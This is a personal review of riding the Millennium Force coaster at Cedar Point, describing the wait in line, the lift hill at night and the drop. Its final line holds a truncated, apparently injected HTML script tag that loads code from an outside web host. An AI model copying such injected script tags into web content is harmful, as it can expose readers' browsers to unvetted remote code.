Millennium Force is difficult to grasp. It is so difficult to grasp that phrases like "horrifically huge", "silky smooth", "so frickin fast", and "flat-out intense" have become clichés. My first reason for visiting Cedar Point was just to see this record-breaking coaster in person. On my families drive to the causeway for our two-day trip, I saw this ominous structure with its blue track gleaming in the morning sun and an elegantly sloping lift to complement its 80 degree descent. At that point I knew it was Millennium Force. From miles away on the mainland it could be seen over the tree tops and the houses. After seeing its magnificence, I knew I had to ride it. Finally, on the evening of day two, the time came. I walked to the entrance of the line and under the blue pavilions where Millennium Force is a culture. With the DJ rippin tunes and the trains screaming over the last turn and into the station, I was excited and nervous. My stomach was in knots. I looked around at the crowd in line, consisting of coaster enthusiasts, guys trying to impress their girlfriends, and men who probably just looked at the monstrosity and said, "hey, that thing looks sweet, lets ride it". After about 45 min of waiting, we reached the final ramp into the station. At this point, you cannot help to catch a glimpse of the 310 ft first hill and think, "what goes up must come down", and feel the wind rush by a second after the trains have passed in varying color blurs of red, yellow, and blue. Night fell, and the lift hill transformed into a dazzling array of rainbow colors. We reached the station as the blue train pulled out, amidst the enthusiastic cheers from riders. Our train arrived. Even the trains on Millennium Force looked huge! We boarded the very comfortable trains, pulled down the genius Intamin lap-bars, and we were set. Then there was a click, and the station operator said, “riders all set, ready to go?” Everyone screamed yes, I just screamed. Whoosh, we were out of the station and off into the night and moving very quickly. I looked down at the light of Cedar Point, and thought that we were extremely high up. Then I looked around and realized I was only half way up the lift hill. We reached the peak, and the lift sped up. The tantalizing effect of moving quickly over the top was just the start of the thrills. In less than two seconds, we were over the top and sloping down. My brain fissured, my brow became sweaty, my hands clammy, and all the adrenaline my body could create shot a jolt through me. I winced, clenched my teeth, and squeezed the bar as hard as I could. Our train slipped off of the lift and down the drop. Airtime. I was out of my seat experiencing weightlessness. We fell… and fell… and fell… and finally flattened out in the dark at 94 miles per hour, a ridiculous amount of speed. During the rest of the ride, we were tearing through the night, not letting up at all. The train was hauling the whole time. Through turns and over huge camelbacks, we eventually sped past the queue line and into the last turn. We hit the breaks and breathed, wiped the tears out of or eyes, tried to stop shaking, laughed and thought just how truly awesome Millennium Force was. I unwillingly had to exit the train and depart down the ramp. I turned around and looked up at the first hill while trying to catch my breath. I recalled the first time I saw it. It was a distant, imposing structure, and now it was a fond memory of pure bliss, elation, and ecstasy. It was one of the greatest2minutes and 45 seconds of my life. Go ride this beast. It’s worth hitch-hiking across the country and waiting for hours in line. It lives up to its hype and then some as the “Best Steel Roller Coaster In The World!” Millennium Force Beyond sight… Beyond sound… Beyond imagination… Beyond gravity… Beyond hype… Beyond expectations… Beyond… Beyond…
THE FUTURE IS RIDING ON IT <script src=http://www.ibse.r
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